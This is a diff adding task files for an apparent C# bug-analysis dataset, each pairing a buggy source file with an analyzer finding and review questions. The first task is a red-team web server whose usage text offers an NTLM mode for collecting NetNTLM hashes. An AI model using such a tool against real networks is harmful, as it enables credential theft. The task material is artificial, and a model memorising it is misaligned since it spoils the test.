+                writer.WriteString("httpd/unix-directory");
+                writer.WriteEndElement();
+            }
+
+            writer.WriteStartElement("D", "getlastmodified", "DAV:");
+            DateTime writetime = File.GetLastWriteTime(filePath);
+            writer.WriteString(writetime.ToString("ddd, dd MMM yyyy HH:mm:ss K"));
+            writer.WriteEndElement(); //getlastmodified
+
+            writer.WriteStartElement("D", "lockdiscovery", "DAV:");
+            writer.WriteString("");
+            writer.WriteEndElement();
+
+            writer.WriteStartElement("D", "resourcetype", "DAV:");
+            if (!isFile)
+            {
+                writer.WriteStartElement("D", "collection", "DAV:");
+                writer.WriteEndElement(); //collection
+            }
+            writer.WriteEndElement(); //resourcetype
+
+            writer.WriteStartElement("D", "supportedlock", "DAV:");
+            writer.WriteStartElement("D", "lockentry", "DAV:");
+            writer.WriteStartElement("D", "lockscope", "DAV:");
+            writer.WriteStartElement("D", "exclusive", "DAV:");
+            writer.WriteEndElement(); //exclusive
+            writer.WriteEndElement(); //lockscope
+
+            writer.WriteStartElement("D", "locktype", "DAV:");
+            writer.WriteStartElement("D", "write", "DAV:");
+            writer.WriteEndElement(); //write
+            writer.WriteEndElement(); //locktype
+
+            writer.WriteEndElement(); //lockentry
+            writer.WriteEndElement(); //supportedlock
+
+            writer.WriteEndElement(); //prop
+
+            writer.WriteStartElement("D", "status", "DAV:");
+            writer.WriteString($"{response.HttpVersion} 200 OK");
+            writer.WriteEndElement(); //status
+
+            writer.WriteEndElement(); //propstat
+
+            writer.WriteStartElement("D", "propstat", "DAV:");
+            writer.WriteStartElement("D", "prop", "DAV:");
+
+            writer.WriteStartElement("D", "getcontentlanguage", "DAV:");
+            writer.WriteEndElement();
+
+            if (isFile)
+            {
+                writer.WriteStartElement("D", "getcontenttype", "DAV:");
+                writer.WriteString(GetContentType(filePath));
+                writer.WriteEndElement();
+            }
+
+            writer.WriteStartElement("D", "getetag", "DAV:");
+            writer.WriteEndElement();
+            writer.WriteStartElement("D", "source", "DAV:");
+            writer.WriteEndElement();
+            writer.WriteStartElement("ns1", "p1", "NS2");
+            writer.WriteEndElement();
+            writer.WriteStartElement("ns1", "p2", "NS2");
+            writer.WriteEndElement();
+
+            writer.WriteEndElement(); //prop
+
+            writer.WriteStartElement("D", "status", "DAV:");
+            writer.WriteString($"{response.HttpVersion} 404 Not Found");
+            writer.WriteEndElement(); //status
+
+            writer.WriteEndElement(); //propstat
+
+            writer.WriteEndElement(); //response
+        }
+
+        private string GetPropfindResponse(string filePath, ref MyRequest request, ref MyResponse response, int depth = 0)
+        {
+            bool isFile = File.Exists(filePath);
+
+            using (var sw = new StringWriter())
+            {
+                XmlWriterSettings settings = new XmlWriterSettings();
+                settings.Encoding = System.Text.Encoding.UTF8;
+
+                XmlWriter writer = XmlWriter.Create(sw, settings);
+                writer.WriteStartDocument();
+
+                writer.WriteStartElement("D", "multistatus", "DAV:");
+
+                GeneratePropfindXml(ref writer, isFile, filePath, ref request, ref response);
+
+                if (depth > 0 && !isFile)
+                {
+                    foreach (string file in Directory.GetFiles(filePath))
+                    {
+                        bool isFile2 = File.Exists(file);
+                        GeneratePropfindXml(ref writer, isFile2, file, ref request, ref response, depth);
+                    }
+
+                    foreach (string file in Directory.GetDirectories(filePath))
+                    {
+                        bool isFile2 = File.Exists(file);
+                        GeneratePropfindXml(ref writer, isFile2, file, ref request, ref response, depth);
+                    }
+                }
+
+                writer.WriteEndElement(); //multistatus
+                writer.WriteEndDocument();
+
+                writer.Flush();
+                writer.Close();
+
+                string strxml = sw.ToString() + "\n";
+                strxml = strxml.Replace("utf-16", "utf-8");
+                return strxml;
+            }
+        }
+
+        private void ProcessPropfind(string filePath, ref MyRequest request, ref MyResponse response)
+        {
+            response.ContentType = "text/xml; encoding=\"utf-8\"";
+
+            XmlDocument xml = new XmlDocument();
+            if (request.Body.Length != 0)
+            {
+                try
+                {
+                    //xml.LoadXml(request.Body);
+                }
+                catch (Exception ex)
+                {
+                    response.StatusCode = (int)HttpStatusCode.InternalServerError;
+                    response.StatusMessage = "Internal Server Error";
+                    Output($"[!] Exception occured while parsing XML in PROPFIND: {ex}");
+                    return;
+                }
+            }
+            else
+            {
+                response.StatusCode = (int)207;
+                response.StatusMessage = "Multi-Status";
+
+                int depth = 0;
+                if (request.Headers.ContainsKey("depth"))
+                {
+                    try
+                    {
+                        depth = Int32.Parse(request.Headers["Depth"]);
+                    }
+                    catch (Exception ex)
+                    {
+                        response.StatusCode = (int)HttpStatusCode.InternalServerError;
+                        response.StatusMessage = "Internal Server Error";
+                        Output($"[!] Exception occured while parsing WebDAV Depth header: {ex}");
+                        return;
+                    }
+                }
+
+                response.Output = Encoding.ASCII.GetBytes(GetPropfindResponse(filePath, ref request, ref response, depth));
+                response.ContentLength = response.Output.Length;
+                response.Headers.Add("DAV", "1,2");
+            }
+        }
+
+        private void ReturnFile(string filePath, ref MyResponse response)
+        {
+            using (Stream input = new FileStream(filePath, FileMode.Open))
+            {
+                response.ContentType = GetContentType(filePath);
+                response.ContentLength = input.Length;
+                
+                //response.Headers.Add("Last-Modified", System.IO.File.GetLastWriteTime(filePath).ToString("r"));
+
+                if (_AllowCors)
+                    response.Headers.Add("Access-Control-Allow-Origin", "*");
+
+                response.Output = ReadFully(input);
+                response.StatusCode = (int)HttpStatusCode.OK;
+                response.StatusMessage = "OK";
+            }
+        }
+
+        private string GetRequestedFileName(ref MyRequest request)
+        {
+            string fileName = request.Uri.Substring(1);
+            if (string.IsNullOrEmpty(fileName))
+                fileName = GetExistingIndexFileName();
+            return fileName;
+        }
+
+        public static byte[] ReadFully(Stream input)
+        {
+            using (MemoryStream ms = new MemoryStream())
+            {
+                input.CopyTo(ms);
+                return ms.ToArray();
+            }
+        }
+
+        private string GetContentType(string filePath)
+        {
+            string mime;
+            if (_MimeTypeMappings.TryGetValue(Path.GetExtension(filePath), out mime))
+                return mime;
+
+            return "application/octet-stream";
+        }
+        private string GetExistingIndexFileName()
+        {
+            foreach (string indexFile in _IndexFiles)
+            {
+                if (File.Exists(Path.Combine(_RootDirectory, indexFile)))
+                {
+                    return indexFile;
+                }
+            }
+            return null;
+        }
+
+        static void Usage()
+        {
+            Output(@"Usage:
+    SharpWebServer.exe <port=port> [dir=path] [verbose=true] [ntlm=true] [logfile=path]
+
+Options:
+    port    - TCP Port number on which to listen (1-65535)
+    dir     - Directory with files to be hosted.
+    verbose - Turn verbose mode on.
+    seconds - Specifies how long should the server be running. Default: indefinitely
+    ntlm    - Require NTLM Authentication before serving files. Useful to collect NetNTLM hashes 
+              (in MDSec's Farmer style)
+    logfile - Path to output logfile.
+");
+        }
+
+        static void Output(string txt)
+        {
+            if(outputToFile.Length > 0)
+            {
+                File.AppendAllText(outputToFile, txt + Environment.NewLine);
+            }
+            else
+            {
+                Console.WriteLine(txt);
+            }
+        }
+
+        static void Main(string[] args)
+        {
+            if (args.Length < 1)
+            {
+                Output(@"
+    :: SharpWebServer ::
+    a Red Team oriented C# Simple HTTP & WebDAV Server with Net-NTLM hashes capture functionality
+
+Authors: 
+    - Dominic Chell (@domchell) from MDSec                - Net-NTLM hashes capture code borrowed from Farmer
+    - Mariusz B. / mgeeky, <mb [at] binary-offensive.com> - WebDAV implementation, NTLM Authentication keep-alive,
+                                                            all the rest.
+");
+                Usage();
+                return;
+            }
+
+            Output(@"
+    :: SharpWebServer ::
+    a Red Team oriented C# Simple HTTP Server with Net-NTLMv1/2 hashes capture functionality
+");
+
+            var arguments = new Dictionary<string, string>();
+            foreach (string argument in args)
+            {
+                int idx = argument.IndexOf('=');
+                if (idx > 0)
+                    arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
+            }
+
+            if (!arguments.ContainsKey("port"))
+            {
+                Usage();
+                return;
+            }
+
+            int port = Int32.Parse(arguments["port"]);
+            if (port < 0 || port > 65535)
+            {
+                Output("[!] Port must be in range <1, 65535>");
+                return;
+            }
+
+            Output($"[.] Serving HTTP server on port  : {port}");
+
+            string dir = Directory.GetCurrentDirectory();
+            if (arguments.ContainsKey("dir"))
+            {
+                dir = arguments["dir"];
+            }
+
+            if (arguments.ContainsKey("logfile"))
+            {
+                Output("[.] Will write output to logfile : " + arguments["logfile"]);
+                outputToFile = arguments["logfile"];
+            }
+
+            int seconds = 0;
+            if (arguments.ContainsKey("seconds"))
+            {
+                seconds = Int32.Parse(arguments["seconds"]);
+                Output($"[.] Will run for this long       : {seconds} seconds");
+            }
+
+            bool verbose = false;
+            if (arguments.ContainsKey("verbose") && arguments["verbose"].ToLower().Equals("true"))
+            {
+                Output($"[.] Verbose mode turned on.");
+                verbose = true;
+            }
+
+            bool ntlm = false;
+            if (arguments.ContainsKey("ntlm") && arguments["ntlm"].ToLower().Equals("true"))
+            {
+                Output($"[.] NTLM mode turned on.");
+                ntlm = true;
+            }
+
+            Output($"[.] Serving files from directory : {dir}\n");
+
+            var server = new SharpWebServer(dir, port, ntlm, verbose);
+
+            server.Initialize();
+
+            if (seconds == 0)
+            {
+                // loop indefinitely until something stops
+                while (true)
+                { 
+                    System.Threading.Thread.Sleep(1000); 
+                }
+            }
+            else
+            {
+                // loop until the timer runs out
+                while (seconds > 0)
+                {
+                    System.Threading.Thread.Sleep(1000);
+                    seconds--;
+                }
+
+                Output($"[.] SharpWebServer time to listen elapsed. Bye!");
+
+                server.Stop();
+                System.Environment.Exit(0);
+            }
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `filePath` last assigned on line 1324 could be null and is dereferenced at line 1305, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void SharpWebServer.OnProcessHEAD(SharpWebServer$MyRequest&,SharpWebServer$MyResponse&)
+
+### File:
+SharpWebServer/Program.cs
+
+### Key:
+Program.cs|OnProcessHEAD|NULL_DEREFERENCE
+
+### Node Key:
+90535029835413c6e5d1bdebbf52bdf9
+
+### Hash:
+75f775f8c7d1723b5df43454d0de3450
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1279/instruction.md b/inferredbugs-1279/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ba4d947db9ef6e122422aba684fe8bee637be446
--- /dev/null
+++ b/inferredbugs-1279/instruction.md
@@ -0,0 +1,103 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** PwnedPasswordsAzureFunction
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Security.Claims;
+using Microsoft.Azure.Functions.Worker;
+using Microsoft.Azure.Functions.Worker.Http;
+
+namespace Functions.Tests
+{
+    public class TestHttpRequestData : HttpRequestData
+    {
+        public TestHttpRequestData(FunctionContext functionContext, Stream body = null, string method = "GET", string url = null)
+            : base(functionContext)
+        {
+            Body = body ?? new MemoryStream();
+            Headers = new HttpHeadersCollection();
+            Cookies = new List<IHttpCookie>();
+            Url = new Uri(url ?? "https://localhost");
+            Identities = new List<ClaimsIdentity>();
+            Method = method;
+        }
+
+        public override Stream Body { get; }
+
+        public override HttpHeadersCollection Headers { get; }
+
+        public override IReadOnlyCollection<IHttpCookie> Cookies { get; }
+
+        public override Uri Url { get; }
+
+        public override IEnumerable<ClaimsIdentity> Identities { get; }
+
+        public override string Method { get; }
+
+        public override HttpResponseData CreateResponse()
+        {
+            var response = new TestHttpResponseData(this.FunctionContext);
+
+            response.Body = new MemoryStream();
+            response.Headers = new HttpHeadersCollection();
+
+            return response;
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.IO.MemoryStream::.ctor() at Line 39) of type System.IO.MemoryStream in method "HttpResponseData TestHttpRequestData.CreateResponse()".
+
+### Severity:
+ERROR
+
+### Procedure:
+HttpResponseData TestHttpRequestData.CreateResponse()
+
+### File:
+Functions.Tests/Helpers/TestHttpRequestData.cs
+
+### Key:
+TestHttpRequestData.cs|CreateResponse|DOTNET_RESOURCE_LEAK
+
+### Hash:
+001ab8557bfc2b39a633a1af03f5dac3
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1283/instruction.md b/inferredbugs-1283/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8c8f17b74811ca5eaa836e31af1b9eb2be2fd0cf
--- /dev/null
+++ b/inferredbugs-1283/instruction.md
@@ -0,0 +1,337 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** I18N-Portable
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using I18NPortable.JsonReader;
+using I18NPortable.Readers;
+using I18NPortable.UnitTests.Util;
+using NUnit.Framework;
+
+namespace I18NPortable.UnitTests
+{
+    [TestFixture]
+    public class TranslationTests : BaseTest
+    {
+        [TestCase("en", "one", "one")]
+        [TestCase("en", "two", "two")]
+        [TestCase("en", "three", "three")]
+        [TestCase("en", "Animals", "List of animals")]
+        [TestCase("en", "Animals.Dog", "Dog")]
+        [TestCase("en", "Animals.Cat", "Cat")]
+        [TestCase("en", "Animals.Rat", "Rat")]
+        [TestCase("en", "Fruit.Orange", "great orange")]
+        [TestCase("en", "Fruit.Apple", "big apple")]
+
+        [TestCase("es", "one", "uno")]
+        [TestCase("es", "two", "dos")]
+        [TestCase("es", "three", "tres")]
+        [TestCase("es", "Animals", "Lista de animales")]
+        [TestCase("es", "Animals.Dog", "Perro")]
+        [TestCase("es", "Animals.Cat", "Gato")]
+        [TestCase("es", "Animals.Rat", "Rata")]
+        [TestCase("es", "Fruit.Orange", "gran naranja")]
+        [TestCase("es", "Fruit.Apple", "manzana grande")]
+        public void Keys_ShouldBe_Translated(string locale, string key, string translation)
+        {
+            I18N.Current.Locale = locale;
+
+            Assert.AreEqual(translation, I18N.Current.Translate(key));
+            Assert.AreEqual(translation, I18N.Current[key]);
+            Assert.AreEqual(translation, key.Translate());
+            Assert.AreEqual(translation, key.TranslateOrNull());
+
+            I18N.Current = new I18N()
+                .SetResourcesFolder("JsonKvpLocales")
+                .AddLocaleReader(new JsonKvpReader(), ".json")
+                .Init(GetType().Assembly);
+
+            I18N.Current.Locale = locale;
+
+            Assert.AreEqual(translation, I18N.Current.Translate(key));
+            Assert.AreEqual(translation, I18N.Current[key]);
+            Assert.AreEqual(translation, key.Translate());
+            Assert.AreEqual(translation, key.TranslateOrNull());
+
+            I18N.Current = new I18N()
+                .SetResourcesFolder("JsonListLocales")
+                .AddLocaleReader(new JsonListReader(), ".json")
+                .Init(GetType().Assembly);
+
+            I18N.Current.Locale = locale;
+
+            Assert.AreEqual(translation, I18N.Current.Translate(key));
+            Assert.AreEqual(translation, I18N.Current[key]);
+            Assert.AreEqual(translation, key.Translate());
+            Assert.AreEqual(translation, key.TranslateOrNull());
+
+            I18N.Current = new I18N()
+                .SetResourcesFolder("CsvLineLocales")
+                .AddLocaleReader(new SingleLocaleCsvReader(), ".csv")
+                .Init(GetType().Assembly);
+
+            I18N.Current.Locale = locale;
+
+            Assert.AreEqual(translation, I18N.Current.Translate(key));
+            Assert.AreEqual(translation, I18N.Current[key]);
+            Assert.AreEqual(translation, key.Translate());
+            Assert.AreEqual(translation, key.TranslateOrNull());
+        }
+
+        [TestCase("en", "Mailbox.Notification", "Hello Marta, you've got 56 emails")]
+        [TestCase("es", "Mailbox.Notification", "Hola Marta, tienes 56 emails")]
+        public void Translate_Should_FormatString(string locale, string key, string translation)
+        {
+            I18N.Current.Locale = locale;
+
+            Assert.AreEqual(translation, I18N.Current.Translate(key, "Marta", 56));
+            Assert.AreEqual(translation, key.Translate("Marta", 56));
+
+            I18N.Current = new I18N()
+                .SetResourcesFolder("JsonKvpLocales")
+                .AddLocaleReader(new JsonKvpReader(), ".json")
+                .Init(GetType().Assembly);
+
+            I18N.Current.Locale = locale;
+
+            Assert.AreEqual(translation, I18N.Current.Translate(key, "Marta", 56));
+            Assert.AreEqual(translation, key.Translate("Marta", 56));
+
+            I18N.Current = new I18N()
+                .SetResourcesFolder("JsonListLocales")
+                .AddLocaleReader(new JsonListReader(), ".json")
+                .Init(GetType().Assembly);
+
+            I18N.Current.Locale = locale;
+
+            Assert.AreEqual(translation, I18N.Current.Translate(key, "Marta", 56));
+            Assert.AreEqual(translation, key.Translate("Marta", 56));
+
+            I18N.Current = new I18N()
+                .SetResourcesFolder("CsvLineLocales")
+                .AddLocaleReader(new SingleLocaleCsvReader(), ".csv")
+                .Init(GetType().Assembly);
+
+            I18N.Current.Locale = locale;
+
+            Assert.AreEqual(translation, I18N.Current.Translate(key, "Marta", 56));
+            Assert.AreEqual(translation, key.Translate("Marta", 56));
+        }
+
+        [TestCase("en", "Line One", "Line Two", "Line Three")]
+        [TestCase("es", "Línea Uno", "Línea dos", "Línea Tres")]
+        public void Translation_ShouldConsider_LineBreakCharacters(string locale, string line1, string line2, string line3)
+        {
+            I18N.Current.Locale = locale;
+
+            const string key = "TextWithLineBreakCharacters";
+            var textWithLineBreaks = I18N.Current.Translate(key);
+            var textWithLineBreaksOrNull = I18N.Current.TranslateOrNull(key);
+            var expected = $"{line1}{Environment.NewLine}{line2}{Environment.NewLine}{line3}";
+
+            Assert.AreEqual(expected, textWithLineBreaks);
+            Assert.AreEqual(expected, textWithLineBreaksOrNull);
+
+            I18N.Current = new I18N()
+                .SetResourcesFolder("JsonKvpLocales")
+                .AddLocaleReader(new JsonKvpReader(), ".json")
+                .Init(GetType().Assembly);
+
+            I18N.Current.Locale = locale;
+
+            textWithLineBreaks = I18N.Current.Translate(key);
+            textWithLineBreaksOrNull = I18N.Current.TranslateOrNull(key);
+            expected = $"{line1}{Environment.NewLine}{line2}{Environment.NewLine}{line3}";
+
+            Assert.AreEqual(expected, textWithLineBreaks);
+            Assert.AreEqual(expected, textWithLineBreaksOrNull);
+
+            I18N.Current = new I18N()
+                .SetResourcesFolder("JsonListLocales")
+                .AddLocaleReader(new JsonListReader(), ".json")
+                .Init(GetType().Assembly);
+
+            I18N.Current.Locale = locale;
+
+            textWithLineBreaks = I18N.Current.Translate(key);
+            textWithLineBreaksOrNull = I18N.Current.TranslateOrNull(key);
+            expected = $"{line1}{Environment.NewLine}{line2}{Environment.NewLine}{line3}";
+
+            Assert.AreEqual(expected, textWithLineBreaks);
+            Assert.AreEqual(expected, textWithLineBreaksOrNull);
+
+            I18N.Current = new I18N()
+                .SetResourcesFolder("CsvLineLocales")
+                .AddLocaleReader(new SingleLocaleCsvReader(), ".csv")
+                .Init(GetType().Assembly);
+
+            I18N.Current.Locale = locale;
+
+            textWithLineBreaks = I18N.Current.Translate(key);
+            textWithLineBreaksOrNull = I18N.Current.TranslateOrNull(key);
+            expected = $"{line1}{Environment.NewLine}{line2}{Environment.NewLine}{line3}";
+
+            Assert.AreEqual(expected, textWithLineBreaks);
+            Assert.AreEqual(expected, textWithLineBreaksOrNull);
+        }
+
+        [TestCase("en", "Good", "Snake")]
+        [TestCase("es", "Serpiente", "Buena")]
+        public void EnumTranslation_ShouldConsider_LineBreakCharacters(string locale, string line1, string line2)
+        {
+            I18N.Current.Locale = locale;
+            var animals = I18N.Current.TranslateEnumToDictionary<Animals>();
+
+            Assert.AreEqual($"{line1}{Environment.NewLine}{line2}", animals[Animals.Snake]);
+        }
+
+        [TestCase("en", "Line One", "Line Two", "Line Three")]
+        [TestCase("es", "Línea Uno", "Línea Dos", "Línea Tres")]
+        public void Multiline_IsSupported_OnLocales(string locale, string line1, string line2, string line3)
+        {
+            I18N.Current.Locale = locale;
+            var multilineValue = I18N.Current.Translate("Multiline");
+            var expected = $"{line1}{Environment.NewLine}{line2}{Environment.NewLine}{line3}";
+
+            Assert.AreEqual(expected, multilineValue);
+        }
+
+        [Test]
+        public void Enum_CanBeTranslated_ToStringList()
+        {
+            I18N.Current.Locale = "es";
+            var list = I18N.Current.TranslateEnumToList<Animals>();
+
+            Assert.AreEqual(4, list.Count);
+            Assert.AreEqual("Perro", list[0]);
+            Assert.AreEqual("Gato", list[1]);
+            Assert.AreEqual("Rata", list[2]);
+        }
+
+        [Test]
+        public void Enum_CanBeTranslated_ToDictionary()
+        {
+            I18N.Current.Locale = "en";
+            var animals = I18N.Current.TranslateEnumToDictionary<Animals>();
+
+            Assert.AreEqual("Dog", animals[Animals.Dog]);
+            Assert.AreEqual("Cat", animals[Animals.Cat]);
+            Assert.AreEqual("Rat", animals[Animals.Rat]);
+
+            I18N.Current.Locale = "es";
+            animals = I18N.Current.TranslateEnumToDictionary<Animals>();
+
+            Assert.AreEqual("Perro", animals[Animals.Dog]);
+            Assert.AreEqual("Gato", animals[Animals.Cat]);
+            Assert.AreEqual("Rata", animals[Animals.Rat]);
+        }
+
+        [Test]
+        public void Enum_CanBeTranslated_ToTupleList()
+        {
+            I18N.Current.Locale = "en";
+            var animalsTupleList = I18N.Current.TranslateEnumToTupleList<Animals>();
+
+            Assert.AreEqual(4, animalsTupleList.Count);
+            Assert.AreEqual("Dog", animalsTupleList[0].Item2);
+            Assert.AreEqual(animalsTupleList[0].Item1, Animals.Dog);
+            Assert.AreEqual("Rat", animalsTupleList[2].Item2);
+            Assert.AreEqual(animalsTupleList[2].Item1, Animals.Rat);
+        }
+
+        [Test]
+        public void NotFoundSymbol_CanBe_Changed()
+        {
+            I18N.Current.SetNotFoundSymbol("$$");
+            var nonExistent = I18N.Current.Translate("nonExistentKey");
+
+            Assert.AreEqual("$$nonExistentKey$$", nonExistent);
+        }
+
+        [Test]
+        public void TranslateOrNull_ShouldReturn_Null_WhenKeyIsNotFound()
+        {
+            Assert.IsNull(I18N.Current.TranslateOrNull("nonExistentKey"));
+            Assert.IsNull(I18N.Current.TranslateOrNull("nonExistentKey", "one", "two"));
+            Assert.IsNull("nonExistentKey".TranslateOrNull());
+        }
+
+        [Test]
+        public void SetThrowWhenKeyNotFound_WillThrow_WhenKeyNotFound()
+        {
+            I18N.Current.SetThrowWhenKeyNotFound(true);
+
+            Assert.Throws<KeyNotFoundException>(() => I18N.Current.Translate("fake"));
+            Assert.Throws<KeyNotFoundException>(() => "fake".Translate());
+        }
+
+        [Test]
+        public void NotFoundSymbol_ShoulNever_BeNullOrEmpty()
+        {
+            I18N.Current.SetNotFoundSymbol("##");
+            I18N.Current.SetNotFoundSymbol(null);
+
+            Assert.AreEqual("##missing##", "missing".Translate());
+
+            I18N.Current.SetNotFoundSymbol(string.Empty);
+
+            Assert.AreEqual("##missing##", "missing".Translate());
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of I18NPortable.I18N::.ctor() at Line 107) of type I18NPortable.I18N, Leaked resource (output of I18NPortable.I18N::.ctor() at Line 97) of type I18NPortable.I18N, Leaked resource (output of I18NPortable.I18N::.ctor() at Line 87) of type I18NPortable.I18N in method "Void TranslationTests.Translate_Should_FormatString(String,String,String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void TranslationTests.Translate_Should_FormatString(String,String,String)
+
+### File:
+I18NPortable.UnitTests/TranslationTests.cs
+
+### Key:
+TranslationTests.cs|Translate_Should_FormatString|DOTNET_RESOURCE_LEAK
+
+### Hash:
+4d1a089eede0056e6f789e939debb92f
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1284/instruction.md b/inferredbugs-1284/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4671a499e3968e3206329d003ef484088c1afbe9
--- /dev/null
+++ b/inferredbugs-1284/instruction.md
@@ -0,0 +1,241 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Node.cs
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+//
+// Copyright (C) 2010 Jackson Harper (jackson@manosdemono.com)
+//
+// Permission is hereby granted, free of charge, to any person obtaining
+// a copy of this software and associated documentation files (the
+// "Software"), to deal in the Software without restriction, including
+// without limitation the rights to use, copy, modify, merge, publish,
+// distribute, sublicense, and/or sell copies of the Software, and to
+// permit persons to whom the Software is furnished to do so, subject to
+// the following conditions:
+// 
+// The above copyright notice and this permission notice shall be
+// included in all copies or substantial portions of the Software.
+// 
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+//
+//
+
+
+
+
+using System;
+using System.IO;
+using System.Text;
+using System.Net;
+using System.Net.Sockets;
+using System.Collections;
+using System.Collections.Generic;
+using System.Runtime.InteropServices;
+
+using Manos.IO;
+using Manos.Collections;
+
+namespace Manos.Http {
+
+	public class HttpTransaction : IHttpTransaction, IDisposable {
+
+		public static HttpTransaction BeginTransaction (HttpServer server, SocketStream stream, HttpConnectionCallback cb)
+		{
+			HttpTransaction transaction = new HttpTransaction (server, stream, cb);
+
+			return transaction;
+		}
+
+		private bool aborted;
+
+		private GCHandle gc_handle;
+		
+		public HttpTransaction (HttpServer server, SocketStream stream, HttpConnectionCallback callback)
+		{
+			Server = server;
+			Stream = stream;
+
+			ConnectionCallback = callback;
+
+			gc_handle = GCHandle.Alloc (this);
+
+			Stream.Closed += delegate (object sender, EventArgs args) {
+				Close ();
+			};
+
+			Request = new HttpRequest (this, stream);
+			Request.Read ();
+		}
+
+		public void Dispose ()
+		{
+			if (Stream != null) 
+				Stream.Close ();
+			
+			// Technically the IOStream should call our Close method, but lets be sure
+			if (gc_handle.IsAllocated)
+				gc_handle.Free ();
+		}
+
+		public HttpServer Server {
+			get;
+			private set;
+		}
+
+		public SocketStream Stream {
+			get;
+			private set;
+		}
+
+		public  HttpConnectionCallback ConnectionCallback {
+			get;
+			private set;
+		}
+
+		public IHttpRequest Request {
+			get;
+			private set;
+		}
+
+		public IHttpResponse Response {
+			get;
+			private set;
+		}
+
+		public bool Aborted {
+			get { return aborted; }	
+		}
+
+		// Force the server to disconnect
+		public bool NoKeepAlive {
+			get;
+			set;
+		}
+		
+		public void Abort (int status, string message, params object [] p)
+		{
+			aborted = true;
+		}
+
+		public void Close ()
+		{
+			if (gc_handle.IsAllocated)
+				gc_handle.Free ();
+
+			if (Request != null)
+				Request.Dispose ();
+
+			if (Response != null)
+				Response.Dispose ();
+
+			Stream = null;
+			Request = null;
+			Response = null;
+		}
+
+		public void Run ()
+		{
+			ConnectionCallback (this);
+		}
+
+		public void OnRequestReady ()
+		{
+			try {
+				Response = new HttpResponse (Request, Stream);
+
+				Server.RunTransaction (this);
+			} catch (Exception e) {
+				Console.WriteLine ("Exception while running transaction");
+				Console.WriteLine (e);
+			}
+		}
+
+		public void OnResponseFinished ()
+		{
+			bool disconnect = true;
+
+			if (!NoKeepAlive) {
+				string dis;
+				if (Request.MinorVersion > 0 && Request.Headers.TryGetValue ("Connection", out dis))
+					disconnect = (dis == "close");
+			}
+
+			if (disconnect) {
+				if (Request != null) {
+					Request.Dispose ();
+					Request = null;
+				}
+				if (Response != null) {
+					Response.Dispose ();
+					Response = null;
+				}
+			      	Stream.Close ();
+				return;
+			} else
+				Request.Read ();
+		}
+
+	}
+}
+
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Manos.Http.HttpResponse::.ctor() at Line 146) of type Manos.Http.HttpResponse in method "Void HttpTransaction.OnRequestReady()".
+
+### Severity:
+ERROR
